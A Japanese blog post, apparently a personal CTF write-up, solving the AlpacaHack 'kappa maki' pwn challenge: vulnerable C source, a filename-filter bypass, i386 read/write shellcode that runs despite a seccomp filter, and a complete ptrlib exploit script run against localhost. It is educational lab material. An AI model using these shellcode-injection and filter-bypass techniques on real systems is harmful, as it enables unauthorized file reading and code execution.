Skip to content
Ojun
Go back

Daily AlpacaHack B-SIDE kappa maki Writeup

Edit page

kappa maki

今日で20歳になりました。お酒を飲めるようになりましたが、僕はあまり食べ物にお金をかけない主義なので、人付き合い以外で飲むことはないかもしれません。

最近解いたkappa makiという問題のWriteupがまだ投稿されていなかったので、投稿してしまおうかと思います。

概要

ソースコードを以下に貼ります。

// gcc chall.c -o chall -lseccomp -fno-stack-protector -no-pie -z execstack

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <seccomp.h>
#include <sys/mman.h>

#define SHELLCODE_SIZE 0x1000
#define FILENAME_SIZE  0x100

void install_seccomp() {
    scmp_filter_ctx ctx;

    ctx = seccomp_init(SCMP_ACT_KILL);
    if (!ctx) exit(1);

    seccomp_arch_remove(ctx, SCMP_ARCH_X86_64);

    seccomp_arch_add(ctx, SCMP_ARCH_X86);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);
}

int main() {

    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char filename[FILENAME_SIZE];
    memset(filename, 0, sizeof(filename));

    void *buf = mmap((void *)0x1020000,
                     SHELLCODE_SIZE,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1, 0);
    printf("buf address: %p\n", buf);
    fflush(stdout);
    write(1, "filename: ", 10);

    int len = read(0, filename, sizeof(filename)-1);
    if (len <= 0) return 1;

    filename[strcspn(filename, "\n")] = 0;

    if (!strcmp(filename, "flag.txt") ||
        !strcmp(filename, "/flag.txt")) {
        write(1, "Nope.\n", 6);
        return 1;
    }

    if (chroot("/home/pwn") != 0) {
        return 1;
    }

    chdir("/");

    int fd = open(filename, O_RDONLY);
    if (fd < 0) {
        write(1, "open error\n", 11);
        return 1;
    }
    if (fd != 10) {
        dup2(fd, 10);
        close(fd);
        fd = 10;
    }
    if (buf == MAP_FAILED) return 1;

    write(1, "shellcode: ", 11);
    read(0, buf, SHELLCODE_SIZE);

    install_seccomp();

    ((void(*)())buf)();

    return 0;
}

このプログラムの流れは次のようになっています:

seccompとは、呼び出すことのできるシステムコールを制限する機能です。今回の場合、32bitのreadおよびwriteシステムコールのみ使用可能な状態となっています。 攻撃者はこのプログラムにシェルコードを注入することで任意のプログラムを実行できますが、使用できるシステムコールはreadおよびwriteのみとなります。

シェルコードを実行する前の段階で、攻撃者が指定したファイルをファイルディスクプリタ10としてopenすることができます。したがって、攻撃の流れは

というステップになります。

攻撃

まずはflag.txtopenする必要があります。filenameとしてflag.txtまたは/flag.txtを指定すると弾かれてしまうので、対策が必要です。この対策は簡単で、例えば//flag.txtとすれば、文字列としては検知を回避でき、かつ/flag.txtと同じ意味になります。

これで、flag.txtをファイルディスクプリタ10で開くことが可能になりました。あとは適当に読み書きをするシェルコードを作ればよいです。少し丁寧に書きます。

まずはシステムコール番号を確認します。アーキテクチャがi386であることに注意。

 ausyscall i386 read | head -n 1
read               3
 ausyscall i386 write | head -n 1
write              4

それぞれ呼び出し規約は以下のようになります。

ssize_t read(size_t count;
                  int fd, void buf[count], size_t count);
ssize_t write(size_t count;
              int fd, const void buf[count], size_t count);

さて、あとはシェルコードを構築すればよいです。buf+0x500あたりにflag.txtの中身を読んであげて、標準出力にwriteしてやればよいです。 ここで、x86では、システムコール番号をeax、引数をebxecxedxの順でレジスタに格納することに注意。また、32bitのシステムコールはint 0x80で呼び出します。以下のようなアセンブリを書けばよいです。

; read(10, buf+0x500, 100)
mov eax, 3
mov ebx, 10
mov ecx, {buf+0x500}
mov edx, 100
int 0x80

; write(stdout, buf+0x500, 100)
mov eax, 4
mov ebx, 1
mov ecx, {buf+0x500}
mov edx, 100
int 0x80

まとめると、以下のようなスクリプトを書くことで、この問題を解くことができます。

from ptrlib import *

io = Socket("localhost", 1337)

buf = int(io.recvlineafter(b"address: ").decode(),16)
io.sendlineafter(b"name: ", b"//flag.txt")
asm = f"""
mov eax, 3
mov ebx, 10
mov ecx, {buf+0x500}
mov edx, 100
int 0x80

mov eax, 4
mov ebx, 1
mov ecx, {buf+0x500}
mov edx, 100
int 0x80
"""

print(nasm(asm, 32, 0))

io.sendlineafter(b"code: ", nasm(asm, 32, 0))
io.interactive()

補遺

かっぱ巻き、しばらく食べてないね。誰かお寿司おごってください。


Edit page
Share this post on:

Previous Post
最近勉強したいと思っていること(2026年4月時点)
Next Post
Daily AlpacaHack B-SIDE no win func Writeup